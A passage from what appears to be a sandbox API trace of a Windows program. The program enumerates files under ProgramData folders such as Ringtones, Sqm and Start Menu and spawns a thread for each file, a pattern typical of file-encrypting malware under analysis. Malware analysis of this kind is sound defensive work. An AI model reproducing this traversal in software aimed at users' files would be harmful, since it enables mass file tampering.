lpFindFileData=0x1ce20900 | out: lpFindFileData=0x1ce20900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x170f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 03.wma", cAlternateFileName="RI0FCF~1.WMA")) returned 1 [0152.405] wcscmp (_String1="Ringtone 03.wma", _String2=".") returned 1 [0152.405] wcscmp (_String1="Ringtone 03.wma", _String2="..") returned 1 [0152.405] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b79e170 [0152.406] wcscpy (in: _Dest=0x1b79e170, _Source="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" [0152.406] wcscat (in: _Dest=0x1b79e170, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\" [0152.406] wcscat (in: _Dest=0x1b79e170, _Source="Ringtone 03.wma" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 03.wma") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 03.wma" [0152.406] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79e170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1698 [0152.407] FindNextFileW (in: hFindFile=0x1cd9cd30, lpFindFileData=0x1ce20900 | out: lpFindFileData=0x1ce20900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80366a76, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3a039, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 04.wma", cAlternateFileName="RINGTO~4.WMA")) returned 1 [0152.407] wcscmp (_String1="Ringtone 04.wma", _String2=".") returned 1 [0152.407] wcscmp (_String1="Ringtone 04.wma", _String2="..") returned 1 [0152.407] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b79dbf0 [0152.407] wcscpy (in: _Dest=0x1b79dbf0, _Source="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" [0152.407] wcscat (in: _Dest=0x1b79dbf0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\" [0152.407] wcscat (in: _Dest=0x1b79dbf0, _Source="Ringtone 04.wma" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 04.wma") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 04.wma" [0152.407] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79dbf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x162c [0152.408] FindNextFileW (in: hFindFile=0x1cd9cd30, lpFindFileData=0x1ce20900 | out: lpFindFileData=0x1ce20900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80366a76, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1b6e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 05.wma", cAlternateFileName="RINGTO~1.WMA")) returned 1 [0152.409] wcscmp (_String1="Ringtone 05.wma", _String2=".") returned 1 [0152.409] wcscmp (_String1="Ringtone 05.wma", _String2="..") returned 1 [0152.409] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b79dc70 [0152.409] wcscpy (in: _Dest=0x1b79dc70, _Source="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" [0152.409] wcscat (in: _Dest=0x1b79dc70, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\" [0152.409] wcscat (in: _Dest=0x1b79dc70, _Source="Ringtone 05.wma" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 05.wma") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 05.wma" [0152.409] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79dc70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1520 [0152.410] FindNextFileW (in: hFindFile=0x1cd9cd30, lpFindFileData=0x1ce20900 | out: lpFindFileData=0x1ce20900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x170f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 06.wma", cAlternateFileName="RIF0DC~1.WMA")) returned 1 [0152.410] wcscmp (_String1="Ringtone 06.wma", _String2=".") returned 1 [0152.410] wcscmp (_String1="Ringtone 06.wma", _String2="..") returned 1 [0152.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b79db70 [0152.410] wcscpy (in: _Dest=0x1b79db70, _Source="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" [0152.410] wcscat (in: _Dest=0x1b79db70, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\" [0152.410] wcscat (in: _Dest=0x1b79db70, _Source="Ringtone 06.wma" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 06.wma") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 06.wma" [0152.410] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79db70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15c0 [0152.411] FindNextFileW (in: hFindFile=0x1cd9cd30, lpFindFileData=0x1ce20900 | out: lpFindFileData=0x1ce20900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80366a76, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x170f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 07.wma", cAlternateFileName="RID564~1.WMA")) returned 1 [0152.411] wcscmp (_String1="Ringtone 07.wma", _String2=".") returned 1 [0152.411] wcscmp (_String1="Ringtone 07.wma", _String2="..") returned 1 [0152.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x42060430 [0152.412] wcscpy (in: _Dest=0x42060430, _Source="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" [0152.412] wcscat (in: _Dest=0x42060430, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\" [0152.412] wcscat (in: _Dest=0x42060430, _Source="Ringtone 07.wma" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 07.wma") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 07.wma" [0152.412] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42060430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1518 [0152.413] FindNextFileW (in: hFindFile=0x1cd9cd30, lpFindFileData=0x1ce20900 | out: lpFindFileData=0x1ce20900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80366a76, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x21fbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 08.wma", cAlternateFileName="RINGTO~2.WMA")) returned 1 [0152.413] wcscmp (_String1="Ringtone 08.wma", _String2=".") returned 1 [0152.413] wcscmp (_String1="Ringtone 08.wma", _String2="..") returned 1 [0152.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x420603b0 [0152.413] wcscpy (in: _Dest=0x420603b0, _Source="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" [0152.413] wcscat (in: _Dest=0x420603b0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\" [0152.413] wcscat (in: _Dest=0x420603b0, _Source="Ringtone 08.wma" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 08.wma") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 08.wma" [0152.413] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x420603b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfe4 [0152.414] FindNextFileW (in: hFindFile=0x1cd9cd30, lpFindFileData=0x1ce20900 | out: lpFindFileData=0x1ce20900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1b6e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 09.wma", cAlternateFileName="RI70DC~1.WMA")) returned 1 [0152.414] wcscmp (_String1="Ringtone 09.wma", _String2=".") returned 1 [0152.414] wcscmp (_String1="Ringtone 09.wma", _String2="..") returned 1 [0152.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x42060330 [0152.415] wcscpy (in: _Dest=0x42060330, _Source="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" [0152.415] wcscat (in: _Dest=0x42060330, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\" [0152.415] wcscat (in: _Dest=0x42060330, _Source="Ringtone 09.wma" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 09.wma") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 09.wma" [0152.415] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42060330, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19f8 [0152.416] FindNextFileW (in: hFindFile=0x1cd9cd30, lpFindFileData=0x1ce20900 | out: lpFindFileData=0x1ce20900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x170f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 10.wma", cAlternateFileName="RI35A2~1.WMA")) returned 1 [0152.416] wcscmp (_String1="Ringtone 10.wma", _String2=".") returned 1 [0152.416] wcscmp (_String1="Ringtone 10.wma", _String2="..") returned 1 [0152.416] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x420602b0 [0152.416] wcscpy (in: _Dest=0x420602b0, _Source="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" [0152.416] wcscat (in: _Dest=0x420602b0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\" [0152.416] wcscat (in: _Dest=0x420602b0, _Source="Ringtone 10.wma" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 10.wma") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 10.wma" [0152.416] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x420602b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19f4 [0152.417] FindNextFileW (in: hFindFile=0x1cd9cd30, lpFindFileData=0x1ce20900 | out: lpFindFileData=0x1ce20900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x170f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 10.wma", cAlternateFileName="RI35A2~1.WMA")) returned 0 [0152.417] FindClose (in: hFindFile=0x1cd9cd30 | out: hFindFile=0x1cd9cd30) returned 1 [0152.419] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce20900) returned 1 [0152.419] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1b10) returned 1 [0152.419] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ce940) returned 1 Thread: id = 1045 os_tid = 0x16fc [0110.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4e) returned 0x1cd9cbb0 [0110.345] wcscpy (in: _Dest=0x1cd9cbb0, _Source="C:\\ProgramData\\Microsoft\\Windows\\Sqm" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Sqm") returned="C:\\ProgramData\\Microsoft\\Windows\\Sqm" [0110.345] wcscat (in: _Dest=0x1cd9cbb0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\" [0110.345] wcscat (in: _Dest=0x1cd9cbb0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\*" [0110.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1dd20 [0110.345] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\*", lpFindFileData=0x1ce1dd20 | out: lpFindFileData=0x1ce1dd20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c850 [0110.345] wcscmp (_String1=".", _String2=".") returned 0 [0110.345] FindNextFileW (in: hFindFile=0x1cd9c850, lpFindFileData=0x1ce1dd20 | out: lpFindFileData=0x1ce1dd20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.345] wcscmp (_String1="..", _String2=".") returned 1 [0110.345] wcscmp (_String1="..", _String2="..") returned 0 [0110.345] FindNextFileW (in: hFindFile=0x1cd9c850, lpFindFileData=0x1ce1dd20 | out: lpFindFileData=0x1ce1dd20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Manifest", cAlternateFileName="")) returned 1 [0110.346] wcscmp (_String1="Manifest", _String2=".") returned 1 [0110.346] wcscmp (_String1="Manifest", _String2="..") returned 1 [0110.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5c) returned 0x1b7c1aa0 [0110.346] wcscpy (in: _Dest=0x1b7c1aa0, _Source="C:\\ProgramData\\Microsoft\\Windows\\Sqm" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Sqm") returned="C:\\ProgramData\\Microsoft\\Windows\\Sqm" [0110.346] wcscat (in: _Dest=0x1b7c1aa0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\" [0110.346] wcscat (in: _Dest=0x1b7c1aa0, _Source="Manifest" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Manifest") returned="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Manifest" [0127.910] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7c1aa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd34 [0127.910] FindNextFileW (in: hFindFile=0x1cd9c850, lpFindFileData=0x1ce1dd20 | out: lpFindFileData=0x1ce1dd20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sessions", cAlternateFileName="")) returned 1 [0127.911] wcscmp (_String1="Sessions", _String2=".") returned 1 [0127.911] wcscmp (_String1="Sessions", _String2="..") returned 1 [0127.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5c) returned 0x1b864060 [0127.911] wcscpy (in: _Dest=0x1b864060, _Source="C:\\ProgramData\\Microsoft\\Windows\\Sqm" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Sqm") returned="C:\\ProgramData\\Microsoft\\Windows\\Sqm" [0127.911] wcscat (in: _Dest=0x1b864060, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\" [0127.911] wcscat (in: _Dest=0x1b864060, _Source="Sessions" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Sessions") returned="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Sessions" [0127.911] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b864060, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19f4 [0127.912] FindNextFileW (in: hFindFile=0x1cd9c850, lpFindFileData=0x1ce1dd20 | out: lpFindFileData=0x1ce1dd20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Upload", cAlternateFileName="")) returned 1 [0127.912] wcscmp (_String1="Upload", _String2=".") returned 1 [0127.912] wcscmp (_String1="Upload", _String2="..") returned 1 [0127.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x58) returned 0x1cd9d5b0 [0127.912] wcscpy (in: _Dest=0x1cd9d5b0, _Source="C:\\ProgramData\\Microsoft\\Windows\\Sqm" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Sqm") returned="C:\\ProgramData\\Microsoft\\Windows\\Sqm" [0127.912] wcscat (in: _Dest=0x1cd9d5b0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\" [0127.912] wcscat (in: _Dest=0x1cd9d5b0, _Source="Upload" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Upload") returned="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Upload" [0127.913] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd9d5b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19f8 [0127.914] FindNextFileW (in: hFindFile=0x1cd9c850, lpFindFileData=0x1ce1dd20 | out: lpFindFileData=0x1ce1dd20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Upload", cAlternateFileName="")) returned 0 [0127.914] FindClose (in: hFindFile=0x1cd9c850 | out: hFindFile=0x1cd9c850) returned 1 [0127.915] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1dd20) returned 1 [0127.915] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9cbb0) returned 1 [0127.915] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ce9a0) returned 1 Thread: id = 1046 os_tid = 0x1700 [0110.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5c) returned 0x1b7c1db0 [0110.348] wcscpy (in: _Dest=0x1b7c1db0, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu" [0110.348] wcscat (in: _Dest=0x1b7c1db0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\" [0110.349] wcscat (in: _Dest=0x1b7c1db0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\*" [0110.349] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1e470 [0110.349] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\*", lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1cc35f15, ftLastAccessTime.dwHighDateTime=0x1ca0440, ftLastWriteTime.dwLowDateTime=0x1cc35f15, ftLastWriteTime.dwHighDateTime=0x1ca0440, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c730 [0110.349] wcscmp (_String1=".", _String2=".") returned 0 [0110.349] FindNextFileW (in: hFindFile=0x1cd9c730, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1cc35f15, ftLastAccessTime.dwHighDateTime=0x1ca0440, ftLastWriteTime.dwLowDateTime=0x1cc35f15, ftLastWriteTime.dwHighDateTime=0x1ca0440, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.349] wcscmp (_String1="..", _String2=".") returned 1 [0110.349] wcscmp (_String1="..", _String2="..") returned 0 [0110.349] FindNextFileW (in: hFindFile=0x1cd9c730, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cc35f15, ftCreationTime.dwHighDateTime=0x1ca0440, ftLastAccessTime.dwLowDateTime=0x1cc35f15, ftLastAccessTime.dwHighDateTime=0x1ca0440, ftLastWriteTime.dwLowDateTime=0x1cc35f15, ftLastWriteTime.dwHighDateTime=0x1ca0440, nFileSizeHigh=0x0, nFileSizeLow=0x502, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default Programs.lnk", cAlternateFileName="DEFAUL~1.LNK")) returned 1 [0110.349] wcscmp (_String1="Default Programs.lnk", _String2=".") returned 1 [0110.350] wcscmp (_String1="Default Programs.lnk", _String2="..") returned 1 [0110.350] FindNextFileW (in: hFindFile=0x1cd9c730, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7f5a4e15, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x7f5a4e15, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x1cc35f15, ftLastWriteTime.dwHighDateTime=0x1ca0440, nFileSizeHigh=0x0, nFileSizeLow=0x1ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0110.350] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0110.350] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0110.350] FindNextFileW (in: hFindFile=0x1cd9c730, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Programs", 